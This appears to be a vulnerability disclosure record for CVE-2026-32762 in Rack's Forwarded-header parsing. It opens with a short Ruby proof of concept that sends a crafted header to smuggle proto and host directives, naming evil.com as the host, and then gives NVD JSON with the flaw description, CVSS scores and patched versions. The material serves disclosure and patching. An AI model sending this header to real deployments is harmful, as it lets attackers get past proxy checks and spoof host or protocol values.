CVE-2026-32762

# PoC for CVE-2026-32762 # Demonstrates smuggling a 'proto' parameter within a quoted 'for' value. require 'net/http' uri = URI('http://target-app.local/') # The payload includes a semicolon inside the quoted string. # A compliant proxy sees one directive. Rack sees two. malicious_header = 'For="[;proto=https;host=evil.com]"' req = Net::HTTP::Get.new(uri) req['Forwarded'] = malicious_header res = Net::HTTP.start(uri.hostname, uri.port) do |http| http.request(req) end puts res.body

{"cve": {"id": "CVE-2026-32762", "sourceIdentifier": "[email protected]", "published": "2026-04-02T18:16:27.730", "lastModified": "2026-04-21T00:57:00.953", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Rack is a modular Ruby web server interface. From versions 3.0.0.beta1 to before 3.1.21 and 3.2.0 to before 3.2.6, Rack::Utils.forwarded_values parses the RFC 7239 Forwarded header by splitting on semicolons before handling quoted-string values. Because quoted values may legally contain semicolons, a header can be interpreted by Rack as multiple Forwarded directives rather than as a single quoted for value. In deployments where an upstream proxy, WAF, or intermediary validates or preserves quoted Forwarded values differently, this discrepancy can allow an attacker to smuggle host, proto, for, or by parameters through a single header value. This issue has been patched in versions 3.1.21 and 3.2.6."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 2.5}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-436"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:rack:rack:*:*:*:*:*:ruby:*:*", "versionStartIncluding": "3.0.0", "versionEndExcluding": "3.1.21", "matchCriteriaId": "6948AAA6-873D-46BA-AA22-4C81138128E1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:rack:rack:*:*:*:*:*:ruby:*:*", "versionStartIncluding": "3.2.0", "versionEndExcluding": "3.2.6", "matchCriteriaId": "3FB592AD-E826-49BE-AC6D-E5F55FDCC96E"}]}]}], "references": [{"url": "https://github.com/rack/rack/security/advisories/GHSA-qfgr-crr9-7r49", "source": "[email protected]", "tags": ["Vendor Advisory", "Mitigation"]}]}}